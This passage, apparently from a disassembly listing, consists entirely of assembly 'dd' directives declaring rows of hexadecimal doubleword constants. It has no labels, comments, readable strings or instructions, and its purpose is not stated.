		dd 0AF174440h, 0A2C100DEh, 0EEA3735Bh, 0E7011FD7h, 20BCBB30h
		dd 0A1613389h, 4BF0E0E0h, 0BA008466h, 0E1E8EAFDh, 0F10D7205h
		dd 6E20A902h, 25BD2BF5h, 8F542D9Dh, 60926D5Ah, 7F066101h
		dd 55E0394Bh, 575BC2EDh, 4C55860Fh, 8A5F4B26h, 0F95E213Ch
		dd 4E351815h, 0AD23AD89h, 1DE0961Ch, 520358B5h,	513EE08Ah
		dd 90BDCA92h, 0BE6E9Fh,	2BFC1E07h, 798FDCF6h, 6158DE09h
		dd 0F6685C5Bh, 86001A46h, 1B4108FAh, 0E925ED43h, 7052C2EEh
		dd 8D011896h, 0C18B69BDh, 0F520B698h, 1A37A633h, 0EE7D725h
		dd 76E90138h, 6B0434BCh, 0E8AA4C88h, 65D5003Fh,	3E8E4F87h
		dd 0D71618CEh, 9F02167h, 5B937A00h, 4C02A9Ah, 997502C5h
		dd 0BB2C9C5Dh, 0DA000DD8h, 0E2073369h, 4A5F78E8h, 0F5D0EAD3h
		dd 0D004B7h, 1DEF9335h,	6188B831h, 64A53Dh, 141E829Fh
		dd 5BD439C4h, 0F330ABE6h, 46F030h, 1FA969A5h, 0C8FA3AF2h
		dd 387CE81Eh, 6A86DA80h, 3ACBEF92h, 500042E1h, 0A08E080Eh
		dd 0F0021929h, 0A945F534h, 185C576Dh, 40929F08h, 3BD26233h
		dd 0E3508306h, 1C9EADh,	6757DEF2h, 0C493538Bh, 4426953Dh
		dd 9A13003Fh, 448440AAh, 0A505C1E3h, 0F542BB11h, 807C17C0h
		dd 859009h, 7F68D819h, 0DB328747h, 99FE2A60h, 231CDB9h
		dd 0C0BB44B5h, 615A85BFh, 0F3A29888h, 0B5F05900h, 0AEB01AFAh
		dd 0F649309Fh, 33BA967Eh, 0E44F10Ch, 0EA12F7h, 0AA1A9ECAh
		dd 95CB7841h, 87DA2BCEh, 5C2351D8h, 546A1170h, 5E017C01h
		dd 343F73B1h, 0D1C09105h, 89EEFFh, 0DE68A864h, 8F25F62Eh
		dd 4C020A00h, 0AB5C9B30h, 19B30173h, 4E7CBE37h,	0B25FF86Eh
		dd 0EABB7A00h, 5C74B05Ah, 851007Eh, 0C44DF1FDh,	260C13F4h
		dd 96B33F95h, 0DCA6018Ch, 446AEE15h, 0FD90C32Eh, 63009B4Dh
		dd 438009A3h, 15BF4Fh, 97CB58CDh, 0BB08DBFEh, 42A56530h
		dd 480F86AAh, 0D400593Fh, 8C62D283h, 3A189050h,	1A27D50Bh
		dd 8FBF3F36h, 0B0E4570Ch, 0E9C0FD17h, 0C98CF85Ah, 19F60022h
		dd 8A20F3DDh, 4E3EA2FCh, 139A00D6h, 538760D0h, 0EEA4C0BCh
		dd 4F7CB258h, 0D343F228h, 35D05950h, 0FF55E60Ch, 94C60ABh
		dd 0A28E4E60h, 14EF055h, 0BA100996h, 0C8B33A51h, 0C6A0A8AEh
		dd 2E8963A2h, 0C2ED6Eh,	0C1F333EBh, 1E3185E1h, 4073B99Bh
		dd 45CCA78Ch, 5E129675h, 0C1002F9Fh, 629A72C4h,	0AA8E03A2h
		dd 7EB622BEh, 6CDA5C11h, 0E0005621h, 65800F4Ah,	0C4B825CCh
		dd 0AE2DC057h, 0FB170027h, 42B03C3h, 0B230E655h, 5AC0CEEDh
		dd 0D91C3FF3h, 0BE8E9909h, 5016585Dh, 512F4D5h,	0A564A04Fh
		dd 0CE2BBA9h, 9E2D7C81h, 9711844Ah, 0FA8089BBh,	646CF65h
		dd 68EC0864h, 3E00B44Fh, 4AF6E794h, 0C0ADA3F9h,	0ECC4E832h
		dd 0E6A1C776h, 3B5F2230h, 5DEE8FBCh, 54289807h,	0C1F12578h
		dd 64F6C075h, 0B3800AEh, 53820F72h, 1A79BD7Dh, 0E3E84C28h
		dd 10BA7A1Eh, 5EF74800h, 24820EEEh, 87D93B0Bh, 0B08D2389h
		dd 0F69FE60Fh, 0EF27C400h, 0E90C852Fh, 9841002Dh, 2ABCE262h
		dd 505D6F8h, 7BB1E754h,	0D2FE9A00h, 398A5Bh, 0E52E8948h
		dd 7049A111h, 0AF8DC300h, 0FED2F63Eh, 175948D0h, 0F516A004h
		dd 0B4A08039h, 1200B878h, 0FFE8589Bh, 60B207C7h, 0C61A375Ch
		dd 1618F7AAh, 7B141FDEh, 1F9462C8h, 9440F5D9h, 510078A2h
		dd 18635CC2h, 3EE55391h, 6D80C804h, 0DFEA3CFh, 410010D1h
		dd 6C972AEBh, 0A0492355h, 0E4C34AE4h, 0EFFC1ACEh, 0B9254439h
		dd 25E7BB4Eh, 0DCDE101h, 9FB80B5Ah, 0A9D43F3Ah,	0CB3C0192h
		dd 2191C013h, 670EBF2Ah, 244B0C54h, 0D77D484Dh,	9D1485h
		dd 2CDDFDC0h, 9A0530F0h, 29C274B4h, 0EA4821C0h,	32DB007Eh
		dd 0C06A3BFAh, 7072371h, 1A9340CFh, 0E89D1720h,	0E9430039h
		dd 0CBE72AA1h, 5610DFABh, 675849D9h, 0E10FBF00h, 0C64FE525h
		dd 8EE42302h, 41DAEE5Dh, 89E46F4Dh, 6B036087h, 2BD163D2h
		dd 240AC200h, 0B53CF816h, 5F8C28A0h, 0ED8101B2h, 0E861E251h
		dd 0C3CD302Ah, 2B6F9200h, 28EF5F0Bh, 22910F42h,	19EC40Eh
		dd 0B4FE3F13h, 0BE9192B5h, 0B0645F28h, 0EB6200B3h, 73A0CA0Eh
		dd 2750E5C0h, 0BB0A6AB4h, 9F53D408h, 1B351900h,	99178C8h
		dd 0A81EDC55h, 368D057h, 0AC19D915h, 2C165273h,	80EF6C9Dh
		dd 6C6E815h, 9E56B007h,	2870F45Eh, 1D8B2CECh, 0E584BDA9h
		dd 5463C15Dh, 12FC3C92h, 65A2AE50h, 6F05C101h, 0D81316BCh
		dd 0AC038C91h, 3468DB08h, 793430F8h, 48BE0D92h,	0EB00CDFAh
		dd 9DF34011h, 0FCF126h,	5247CEE2h, 0E907AD7Eh, 9105C97Eh
		dd 8644CDBFh, 78AFA0BEh, 0BE2E5A01h, 3DDD0C7Ah,	0E43F11FCh
		dd 0F97102C2h, 86F27DF5h, 109F8DDh, 0AC03A214h,	0A05BB180h
		dd 0AF90D50Fh, 0C05B6F48h, 0E52046EDh, 9E5E0072h, 0C607BF28h
		dd 0DBA9576h, 3683430Eh, 0EE2B808Bh, 0B7B5D1F1h, 7BA4DDD6h
		dd 25420696h, 0FE9B46h,	0B9806858h, 17D60A30h, 19371Bh
		dd 305C7ED9h, 81407C6Dh, 1CD83104h, 4A490DCh, 17D7959Ah
		dd 5954C2C1h, 5C874016h, 67DB76B7h, 0C577AB14h,	0BE56601Dh
		dd 9A007551h, 0A486BA57h, 1815E4Bh, 0C339AFC2h,	0E1F22908h
		dd 0F10847EAh, 9C57A968h, 834E246Bh, 59859C04h,	0D7B4B850h
		dd 89C80D01h, 2B1E8B10h, 0BBC675ABh, 64252B7h, 0EF3C8716h
		dd 835A1891h, 497FE900h, 3500FB7Bh, 66EDABF3h, 78898E96h
		dd 19B80BD5h, 0C877B134h, 1084F10h, 78BE7371h, 0F0761158h
		dd 5B004AF4h, 0E7401680h, 5318Dh, 31072FCh, 1D4D6FC2h
		dd 0B84BB00h, 877EF41Fh, 0A0350027h, 4AF236CCh,	281467F0h
		dd 19CEEE7h, 0B76AC1C4h, 937048CFh, 17FC0045h, 0D7021ABh
		dd 0E1074F15h, 782B7351h, 0A807B560h, 2697A26h,	0A97D1052h
		dd 15DF04D9h, 0EB2B416Fh, 0FEFBC902h, 5F2258F7h, 0DDFCBC50h
		dd 0DD5752C9h, 2BB82E0h, 0AD6B6C41h, 89B525C9h,	4B3DF5EAh
		dd 10AFB2Dh, 1737BF6Ch,	85462018h, 9813ED5Bh, 0C09B9BBEh
		dd 626FD3D4h, 0FD210061h, 609B1F1Bh, 5B3DB966h,	0BDA4D036h
		dd 0DFB13725h, 9100ADB7h, 0E386BFFEh, 84775A68h, 20BAF822h
		dd 88504E31h, 532FB60Bh, 30F67CA0h, 0FD42BE86h,	0D04B8BE8h
		dd 0E99C34BEh, 1960A8EEh, 4E675CC0h, 0CF047AD9h, 0AD1F1F81h
		dd 7F696354h, 0B595CA6Ch, 0A4250979h, 82F7DD80h, 73501A4Dh
		dd 236E9DD7h, 15B5E46Fh, 0F2B840EBh, 0BD2B61DEh, 2C173AE7h
		dd 1EE87EADh, 9AC16600h, 67C091AEh, 0FB3C4A5Ah,	0E7BA3624h
		dd 8D0071CDh, 0BF5DFB82h, 2D585B53h, 355DC6B5h,	805EABE8h
		dd 7737780Dh, 0A5027D25h, 58D093Dh, 13DB7D0Eh, 0C0ED5472h
		dd 0A5C5E17Ch, 8BF3F512h, 0FF00DCA2h, 0B6D381D1h, 4A5ACE89h
		dd 0C44EA58Ah, 1BDBAB53h, 702072C0h, 4309861Fh,	78FB18AEh
		dd 1584CF96h, 422AB2D6h, 0CD02259Eh, 7BA4C01Bh,	0F5037279h
		dd 3FB391DAh, 70026250h
		dd 88445FF8h, 0C9BD013Ah, 0CEDD4E65h, 2FFAA57Ah, 18C86ADAh
		dd 9EEFDC0h, 8B84003Bh,	1BB1BFDEh, 0E92D36A0h, 8E54731h
		dd 0C32737C7h, 0F646D28Eh, 0F200DCD0h, 8028B76Ch, 0A3C2DDEDh
		dd 0BB088FB5h, 0EA19F917h, 7243136Fh, 98D0A600h, 151E9AFh
		dd 30FDB516h, 122273E2h, 5AF32E00h, 579D3BF0h, 3FB900B6h
		dd 0EDFA21Dh, 6316D742h, 8CE35095h, 2402809h, 89347175h
		dd 307E11C5h, 0DDE3C04Eh, 0BAFD8A8h, 0B9DCE8A9h, 2B953775h
		dd 0A39B8093h, 0DFB23A56h, 41A550BDh, 75E86B09h, 0CE4518Bh
		dd 6755DC00h, 43A5E3D9h, 5BF51397h, 0C2A8A95Fh,	770A11BDh
		dd 4DAF81E5h, 33B04001h, 174F5DBDh, 9A2830ABh, 3472A9B3h
		dd 0D0A4F709h, 20CBD4B6h, 263F005Bh, 0C455E309h, 0C5009C4Dh
		dd 8161C232h, 628EE85Bh, 2415A8EBh, 0A1D11175h,	4F6EAF14h
		dd 5137320Ch, 49D72556h, 0EDFE1DEBh, 1111F545h,	0AEF38008h
		dd 0F4D7923Ah, 0E0491FAFh, 0BF70E600h, 9AF5D8Fh, 137158E4h
		dd 0A30BCD16h, 0B5EC22F7h, 0BD8E5374h, 0BBC311CDh, 1AF3FB03h
		dd 0C760C191h, 7F01D0B1h, 15617AC8h, 0D63DBD09h, 0FF00B577h
		dd 8CF557BBh, 0C4FC7B44h, 0BC959D3Ah, 1AB3168Ah, 82C84E09h
		dd 32F9DFh, 0B560D18Bh,	212F8BDh, 619CC4F2h, 5BFE96E9h
		dd 9F43D146h, 4755F781h, 0CBCD7A49h, 0EA6D2496h, 8150DD30h
		dd 5BA30EF7h, 0BE776409h, 0F6E5D8h, 328D82B7h, 1CA8B19Ah
		dd 66880F2Dh, 5FF92F2Eh, 51E8B17Dh, 5B78202Fh, 92B72F72h
		dd 36C057C4h, 0E9221030h, 95890B38h, 0F4530B9Dh, 9078BB81h
		dd 8A7A4973h, 0F6D94F45h, 2099C22Bh, 7F139525h,	252DF105h
		dd 0C8A0F3A8h, 0FE95B0B1h, 180BDC73h, 0D53B5268h, 0DEF6309Ah
		dd 7220754Bh, 420B045Eh, 9EB7B200h, 583849E2h, 762760ECh
		dd 28358D31h, 821CBAB5h, 2295D71h, 8FF0EEB9h, 576C095h
		dd 0A45F4E47h, 0DF74B7F3h, 6A7815BBh, 84D602D4h, 6D13C0FDh
		dd 0D474E0C1h, 0A1905440h, 4CD5074Ah, 0A7928C9Eh, 3FAA17DAh
		dd 2B0CEFECh, 95D053D2h, 525BB10Bh, 7834F55Fh, 81018E42h
		dd 111B8DE3h, 11F87E7Fh, 5237BF96h, 0E6EFDAC4h,	8717A365h
		dd 48D46108h, 0E2006B82h, 95293B6Fh, 30769FEDh,	5B4451EBh
		dd 78C34609h, 0DC90D67Fh, 31CA715Ah, 559D6E22h,	58DF3012h
		dd 4F942BFEh, 0D2CF8F9Ch, 3509ABC5h, 0AAA2EEEBh, 0E56A8400h
		dd 0E4AB1C4Ch, 5DEA1F00h, 0D27D8018h, 0D8EEB76Ch, 50485B95h
		dd 0F3045B22h, 3F1E08F1h, 5717D81h, 0A340E112h,	7F910975h
		dd 0DAA82B93h, 27044AE1h, 3BBFB049h, 267F4A2h, 7695F91h
		dd 44D6F503h, 87043250h, 386115C4h, 0D17231E0h,	29286BC6h
		dd 0EA4ED7CEh, 0AF4AC76Fh, 0C07E748Dh, 7ECB81FBh, 55FF1D13h
		dd 393081EBh, 0B8AB0408h, 5F618914h, 0EA114491h, 1B915D1Ah
		dd 40FE2AD0h, 44C325F1h, 0FE04C971h, 89B529A7h,	0A4A456FAh
		dd 0E199EB23h, 2D34ED88h, 1A9FD870h, 9E3567Bh, 6677F351h
		dd 30C5B7C7h, 0B8B0D7AFh, 9024976Fh, 95637450h,	0F916F335h
		dd 6AF98F4Dh, 5AC46F3Bh, 29B621BFh, 0F3A43A85h,	2716EC68h
		dd 40E38A8Bh, 7593EDF8h, 2FFB7B5h, 0ED2D6203h, 8AC47860h
		dd 6490EDB7h, 8AE7601Dh, 214B006Ah, 0F5A89047h,	0A29001F8h
		dd 875202F3h, 0A902F3B9h, 68E9D45Bh, 0B14661A3h, 0C3F5F2BCh
		dd 75D6E249h, 2D480EFAh, 1585841Fh, 0A301A7FBh,	1E91D8E3h
		dd 2786FCC6h, 0C5D32C4Ah, 0C2F8CB84h, 0A495B6FBh, 7E32C9DCh
		dd 0BE2B4E7Eh, 0A7000E7Fh, 4828CF16h, 0BAB56896h, 0D46E5E0Eh
		dd 0E42FF400h, 89863B23h, 78569306h, 1F09DF39h,	8232187Fh
		dd 0DC290598h, 7FABE9B0h, 0B7972C50h, 9AAB0392h, 74979650h
		dd 88CCAA60h, 306A07BFh, 0C4612FDCh, 0CEB231h, 0BD027DB0h
		dd 33949C5h, 85E0932Fh,	7E827D5h, 6D5BE890h, 4FDFA788h
		dd 0F16E96h, 4D388473h,	265C0548h, 965E6FAh, 0DCD40771h
		dd 0EE08BBE0h, 684207E7h, 12F19C1Fh, 0E748FB8Bh, 2D2467E0h
		dd 6216C80Eh, 0E8FB99AEh, 5CFA6BD1h, 416E9409h,	577950h
		dd 0F884B307h, 0F3008A16h, 231D4676h, 9737A8C2h, 0FE1209F1h
		dd 0C049DFAFh, 0C8B1BAC1h, 17AE2888h, 269122F8h, 0FD019D2Fh
		dd 0B025C49Fh, 1D7BCAEFh, 40DAC17h, 0ABF90A60h,	0BDA473F7h
		dd 0D218573h, 53A398A8h, 0ED5F0987h, 91CC2A0h, 368938C1h
		dd 56F7091Dh, 4762F7EBh, 70C153DFh, 625E714Fh, 512D61BCh
		dd 0D2339DDDh, 400E9A66h, 4043A039h, 0C67D0C6Dh, 6BDE9FD9h
		dd 0BD4828DCh, 0B0302FB9h, 0D9160C76h, 0C48E94B2h, 47AAF92h
		dd 69491500h, 0C14D5359h, 0ED963709h, 7720409h,	8C5638EBh
		dd 0DAC491BDh, 0FCBEE92Eh, 34FD16D0h, 0A47085Dh, 0B9B66084h
		dd 7FDF99BFh, 0BBE4CBE8h, 1AB0E8F6h, 0D49AD78Fh, 84CCDE5Ah
		dd 0B39603FCh, 0F98A5029h, 0DFB6EEB4h, 7B0E76E0h, 0E380AB09h
		dd 0E0BF7688h, 5A82D872h, 0D46B7C97h, 9E2D30BDh, 0AF3E0107h
		dd 0D25539FFh, 15823FF4h, 3ADF2B23h, 392BC1BAh,	0F9CE57DEh
		dd 32C4FC5Ah, 0C0529EBAh, 9E7BB38Ch, 236C245Eh,	0DBB70B50h
		dd 213CF370h, 85BD8BC5h, 5A0CFE0Bh, 83B8C85Fh, 7C4D9FC2h
		dd 0AFF110E0h, 22A61EC8h, 1348E8Bh, 0B52B496h, 174D9D16h
		dd 35F432B6h, 2EC8FE76h, 987B28A5h, 0C4FB5AB5h,	0B4D6B723h
		dd 34C9B7FFh, 9BB4A18h,	0B8DF6BD4h, 0B72A9DF7h,	6F70FDE5h
		dd 0DA400090h, 0E35BB2FEh, 0D7BE4AAFh, 0D4274D0Ah, 0FD2EC942h
		dd 96592EC6h, 0FEB85FB5h, 0B83723C0h, 46BF3878h, 19360E25h
		dd 9201F079h, 2EA8DBAAh, 5AD9B6DCh, 0F993DC2Dh,	64254D9Dh
		dd 297E6014h, 238D2DB5h, 5179F57Ch, 4E717B7Eh, 0DCCDABh
		dd 0EDBD8987h, 0D42DAF96h, 83DC2F30h, 93B038DEh, 2F2E7FFCh
		dd 96FD5F57h, 0D0BA0011h, 82B4ABCCh, 0AA4CDBDCh, 62BE4AA6h
		dd 675DF981h, 0EF290056h, 0F99E5CC9h, 2594A800h, 0A53B98FCh
		dd 53A6026Bh, 9A70F510h, 52EFD37Dh, 9000386Eh, 7D4D371Eh
		dd 2DA7C15Dh, 0EF45602Dh, 18FC4A10h, 2C719D8Ch,	14A34025h
		dd 0B5649233h, 0A79994ABh, 6D6C661h, 60207E69h,	0C6DEDF80h
		dd 0BF3974BAh, 27FDDECCh, 272514A2h, 0ED1E17EAh, 0BD7FB9B9h
		dd 0D6C04F14h, 8106118Dh, 0E2683BAh, 76EA81F0h,	4989835h
		dd 79958914h, 0FFA1D71Ch, 99710233h, 0A3E2B145h, 4B535BFFh
		dd 58195DE4h, 0F01AC22Bh, 5DDC2A4h, 0C35A4D38h,	12841235h
		dd 3C50EB00h, 7681D003h, 1945653Ah, 2DE18884h, 1B6A68E1h
		dd 904CD9E9h, 2D89C88Bh, 0D801C585h, 0BB3C4003h, 45C2E24Fh
		dd 9F8B0708h, 29DA125Bh, 93F80502h, 30CF0B6h, 0C520C6D1h
		dd 8F64D2Dh, 12A112C4h,	58F6402h, 0F8726D89h, 519CA2B7h
		dd 1025C08Bh, 0B0A92881h, 59B5C114h, 20C3C033h,	54C394Dh
		dd 0A524C814h, 282C47Fh, 0A7D26847h, 0A33CD49Ah, 82084108h
		dd 969656F2h, 8010ECD3h, 945ACF78h, 8A04002Fh, 80374469h
		dd 0F9E25FC6h, 5ACD41B5h, 0BC522A92h, 7E268102h, 7BE47990h
		dd 2EE400CCh, 0C681F244h, 5A089AD5h, 20168AB8h,	65EE1CE8h
		dd 600F4B8Bh, 7A4ACCF7h, 406694F9h, 7E2E3EA4h, 0A15BE800h
		dd 8BF19B81h, 0EE9990F8h, 33980CE9h, 0C3563D6Dh, 8916413Dh
		dd 8A7475F1h, 0B801BEEBh, 890FF756h, 681BADAFh,	0A0F5C0D8h
		dd 0D1102F03h, 25FD85Bh, 0DFA7F158h, 0D79859CFh, 9403416Bh
		dd 1ABC78ACh, 0FA90E8ECh, 44A70EF2h, 0F040A6E5h, 78F515Ch
		dd 40605497h, 0EAB2EF81h
		dd 0EC73D432h, 0A9BB1004h, 0AEA9DD50h, 0B26021CDh, 53509B07h
		dd 7615B56h, 2B2CDDB9h,	5A48661Bh, 206625FDh, 3100A62Ch
		dd 559E59F7h, 0E93E0FBh, 0BC77189Ch, 0D9DF6A80h, 2401A942h
		dd 0E38E4933h, 898593Ah, 4A7B21BDh, 3504A90Fh, 0EE93A0E4h
		dd 0ECA75Fh, 0B8771032h, 5271974Dh, 1689B200h, 6914B0E1h
		dd 9CB901DFh, 0D60B4875h, 30BFF0EFh, 8DAF6C18h,	1BB9F558h
		dd 28DBD247h, 0D97EF0C7h, 8D065627h, 755E6EB8h,	21F26108h
		dd 0C4D98722h, 818327Ch, 0AD78CBFBh, 0B62A2061h, 21DF29C0h
		dd 68D5FFDEh, 5C3470E9h, 7300E446h, 96D4405Dh, 0ED01CBDBh
		dd 8E14554Ah, 5611E0E8h, 3B85203Eh, 0C57BB702h,	0A1922271h
		dd 0F4C21D80h, 608ECB46h, 0F95488DBh, 1600BEF1h, 44FC3C4Ch
		dd 0E8AD4BE2h, 87C50049h, 0F02932C3h, 5707B3BEh, 5076055h
		dd 0B18A6A80h, 0A79A0FFCh, 26400AAEh, 41BDCA7Fh, 8EE15903h
		dd 0D80CF901h, 20B12Ah,	6C2D55A0h, 6BE3E26Dh, 6700F7E4h
		dd 663A15A2h, 3198D2Ch,	0CEF440C9h, 76BBE010h, 9901B1A0h
		dd 4972F701h, 0F5D5C4EFh, 898CCDDh, 0BFB8218Ah,	0A2DF7200h
		dd 0F3797875h, 0EDCE0303h, 1AE677Ah, 482710C8h,	5CD2BB00h
		dd 1EA24245h, 0A4F4005Eh, 49C55041h, 8278F534h,	0D925B718h
		dd 1D789758h, 33F789BDh, 4DB96110h, 2CC4ECDAh, 0BC80B519h
		dd 60800808h, 4DC536B1h, 13013890h, 713FFA9Ah, 8181B28Fh
		dd 4A3DB831h, 68FED734h, 0FA11F2F9h, 4D3DC218h,	11ECA3DFh
		dd 0CA330004h, 5022EF4Dh, 0E780A302h, 897DEAD0h, 0F90C0059h
		dd 6436B8A0h, 5C0F3D3Eh, 5FB37017h, 7E0B1400h, 12927E5h
		dd 0BC61F44Dh, 0F3150F78h, 68C602E8h, 9ED158A0h, 28F6351Dh
		dd 300C9C03h, 0A6083036h, 3546F221h, 0D73EB01h,	2B1E738h
		dd 0A0D0CCFCh, 77185BCh, 5DB96D2Fh, 0C89FF07Ch,	0F403A6E3h
		dd 0A19D8308h, 2F87A8C7h, 14EC91h, 258B0F26h, 72D47EDCh
		dd 9512D800h, 53A3BCDDh, 0B74F7h, 0FEE8B230h, 0B958A994h
		dd 7600C571h, 83FC5486h, 939ABC1h, 14D6F73Fh, 0BEA26400h
		dd 0E0E48CCFh, 0C4709C00h, 4229D10Ah, 0B15A000Bh, 0B774F5E3h
		dd 0DA000663h, 75823934h, 7156ED61h, 0B3A40087h, 32336BE8h
		dd 0F71F2AB1h, 2440A884h, 0D0FC45FBh, 0FAFA17h,	9D773F18h
		dd 0EADCA149h, 7C96BD00h, 2B7B5F0Bh, 0ACA500D4h, 1184FF80h
		dd 2C0E7F6Bh, 8DFC462Ah, 0FD84041h, 2E22189Bh, 6AF81010h
		dd 0AFD56F00h, 97FECE4Bh, 0F408C653h, 710B200Fh, 0D4EA6F62h
		dd 0D510073h, 0A5E3E7D5h, 0FA288414h, 0F2C81834h, 0AD1018A8h
		dd 95F6E034h, 0C400A6A0h, 15D28AE3h, 0E8953h, 0A498434Ch
		dd 2B7C0BFBh, 8519D107h, 11300428h, 0CF3818Ch, 26335CCAh
		dd 180CA020h, 91F90A5Eh, 0CE3600DAh, 0F33D8397h, 6D637B2Dh
		dd 191208h, 0CE3EB820h,	0B6F8A9A7h, 0D37BD000h,	6C28038Ah
		dd 5F7C1498h, 0CB052C0Dh, 0F7BF5Ch, 0B6D981B8h,	110EF9FDh
		dd 0A2E9F1h, 0F3679BCBh, 0C305001Dh, 880CD1EDh,	7600FEC8h
		dd 0BE16DE50h, 0C4676Bh, 4B4E6FC5h, 8F7E68A7h, 4AC99400h
		dd 984455F8h, 0ADAF00B9h, 251CE13Fh, 0B000D096h, 779C4297h
		dd 1A7C619h, 528108C3h,	0C91E8570h, 0A359D45Ah,	139AF000h
		dd 0B58F5D3Dh, 0E62F031Dh, 86C4A165h, 0E84221E8h, 0EA9FFF03h
		dd 0C1894AFBh, 13D0E5F8h, 744F3EBBh, 0CEAFC400h, 5930F233h
		dd 83C59239h, 4B2E7571h, 82859089h, 1E60050h, 0C1221F07h
		dd 0F80EE972h, 80A8333Eh, 0D858F3B4h, 354D00D3h, 0A61C749h
		dd 2600CE86h, 0E8D0428Ah, 6157F3Ah, 0F3F7B2A8h,	2900284Ah
		dd 0AF68EC37h, 0FC9689h, 86639C4h, 0C3D3EF17h, 0E5755400h
		dd 7FC9ED28h, 3C0B00B4h, 85B353E8h, 30012EBAh, 627D8FCAh
		dd 0AECCF709h, 52423A79h, 2EE84431h, 0B764C42Bh, 51C89606h
		dd 0C1950B4h, 35784ECCh, 3803CD68h, 67467CC4h, 7E809DDBh
		dd 3A9E8CC9h, 510FA88Ah, 0E100EFB3h, 85593129h,	74A4BC00h
		dd 4533204Ah, 0C73C0061h, 0F3B988E5h, 1A0027FFh, 0B78FC9F4h
		dd 3B0CED9h, 0B42DE798h, 830D7D0h, 0E2952144h, 124C0FCEh
		dd 570CC311h, 81723A18h, 0DE470D09h, 238780ACh,	0C601C633h
		dd 29872420h, 0FFC86E00h, 0CA130A48h, 0D4C703E5h, 556C6168h
		dd 8657611Dh, 183F0402h, 0F71403CAh, 0F5B0F2F0h, 991B9307h
		dd 2246944Dh, 0D2BB4821h, 6F03B148h, 632A248Eh,	2485064h
		dd 0ECF4F960h, 0F1A5B010h, 0ED9C20C8h, 0F878F505h, 5EC49D80h
		dd 0DE9D0048h, 9C304C91h, 0F97F4568h, 569CC950h, 60ECA248h
		dd 8E8DA4E8h, 900E200Ch, 0DAB16900h, 7B3A44D6h,	524D3218h
		dd 98A0C008h, 1BDA5902h, 0F70B1902h, 0A2DF3B26h, 0A0182790h
		dd 29399284h, 66CF007Fh, 0E360D596h, 430D146h, 85F080B9h
		dd 0C4900CC9h, 0B3F06CECh, 6B2B8900h, 1DCD93C0h, 0AE771F3Ah
		dd 3D03C033h, 67848F6Dh, 7C4A3C00h, 1B5ACE9h, 0E00476FEh
		dd 152800FFh, 0D4E582E4h, 0CF030F69h, 0F14B3568h, 9722B889h
		dd 0ED840047h, 0EF3C7077h, 86015D81h, 8C910917h, 2F82B8Fh
		dd 0E59089h, 68C53E03h,	0DFD64473h, 60CCEE2Eh, 40B93C0Fh
		dd 0C50ABE64h, 0AC3D01D9h, 5BF2E916h, 87E8D721h, 3F00964Dh
		dd 4888DBA9h, 95097Ah, 0EA6CAFE3h, 799B7F1Ch, 0F87D8C03h
		dd 0A09DEDE4h, 70E74E2Ah, 728200C9h, 0C7AD8110h, 90FEF079h
		dd 6F189F6Fh, 6FE180A3h, 78BCF126h, 86193936h, 98650078h
		dd 81F623ECh, 9E30357Dh, 63056174h, 9A960E71h, 50C768B7h
		dd 81F7E0EBh, 0E0F854Dh, 4654BABDh, 2304961h, 57235B8Ch
		dd 148E7B50h, 80189EA7h, 7F3CEB4Fh, 873E9318h, 19CCDD78h
		dd 0D1B19C90h, 0F51C4955h, 0A4198077h, 93A3113Ch, 26150245h
		dd 3B63069Ah, 0FDE54C83h, 82010CD8h, 0E0DC6219h, 880B3BB8h
		dd 0B1488006h, 524739C0h, 0AB043800h, 0D6CC7430h, 88EA6F22h
		dd 41099D62h, 0D34D8F40h, 57F08500h, 0D85BF795h, 7F9730B6h
		dd 0FDBE73B1h, 83650D38h, 3AB4B1F0h, 3C26A04Eh,	70FA636Bh
		dd 91E977Dh, 52C7D7F8h,	8EC0F379h, 1E57D89Dh, 0F4C8581h
		dd 412360F5h, 7822B8BBh, 0BF3D00D2h, 679F3B52h,	0E4500F1Fh
		dd 0EA4498A0h, 357B1410h, 32009848h, 0CC6941Eh,	0BF00D027h
		dd 1D95CEC1h, 364C51Ah,	8F41C8DDh, 7905B6A3h, 3BADA056h
		dd 80602408h, 9764C77Dh, 0F818041Eh, 23C1DF90h,	55E2F1h
		dd 3E80C959h, 454D1F1Ch, 7B81A600h, 0C50D699Bh,	65F0CADBh
		dd 0B17D80B8h, 4558CEE0h, 0FF54A907h, 79E0C7BFh, 1D0A4AD1h
		dd 9EE8C9h, 8E02662Fh, 360045F1h, 6A019272h, 8DCBCCh, 4E58D975h
		dd 343D3303h, 250CE702h, 487CC207h, 209760h, 70226F94h
		dd 0F2A8059Eh, 2FDB9D00h, 9BC729Ch, 3A7A03D8h, 0DA974376h
		dd 0D61CD100h, 981F7B9Ch, 39B10053h, 0AFF204E1h, 3D0759B8h
		dd 0A6C009ADh, 33538CCh, 80FF6030h, 8598FEBDh, 3B544DE0h
		dd 410028D4h, 391C42D3h, 0E8F82h, 0EC2C9E61h, 4AEF2632h
		dd 853DFD0Eh, 41558149h, 0C0E2610Fh, 20C0F0h, 0E9FFFC62h
		dd 692CEDC8h, 0E384F700h, 0AF07AB24h, 0C7EC11h,	2DC3A3FDh
		dd 0C48FBE67h, 993A26B0h, 0AE1060AAh, 3EE284Bh,	455CCDE5h
		dd 830BD8Eh, 33682157h,	0E19D0028h, 0DFBAB187h,	0A8C0E910h
		dd 1C2A4AFFh, 3E533056h, 0EC1FBE98h, 0FAA78400h, 0CC4DFD43h
		dd 0F5A0009Fh, 140383DEh, 84717BC2h, 61535B03h,	0A4C1C389h
		dd 0CF305822h
		dd 0E62A0827h, 6C585D2Dh, 0BC270FD7h, 53C1E466h, 7EEA02h
		dd 74B25B61h, 3A8A06BFh, 188B0386h, 7F1BE8F2h, 0C0406A85h
		dd 1021C81h, 0E53D7C18h, 983CE4ABh, 21217308h, 0AA04266Eh
		dd 7B7100D4h, 4B4725E8h, 0C37548C8h, 7C910216h,	40F8186Dh
		dd 580727E8h, 0D2B55204h, 0E27A9780h, 392100F3h, 64FFCB2Ah
		dd 1100E56Ah, 62C57641h, 0F8DA7223h, 1D217144h,	0AA50D40Fh
		dd 16AF00B0h, 24BC15AAh, 0C833821Dh, 7AD086Ch, 0AA1C8821h
		dd 89B780A1h, 8D0762BCh, 2DBD93E1h, 0A3BF04B0h,	0C07C5008h
		dd 0BC4418B7h, 872AD0A8h, 2170486h, 61F57C71h, 0C6008485h
		dd 5000046Bh, 6A3E38E9h, 1CF87EE2h, 4A304136h, 38BC1DA4h
		dd 0D98E710h, 0A13C5361h, 981B96CCh, 326C00C8h,	37F20ADBh
		dd 0E40E1C5Eh, 8F787499h, 18E45D90h, 2E1D2000h,	0C910F0Ch
		dd 45507DFEh, 43604648h, 30B47351h, 4C857FE4h, 0A7369A7h
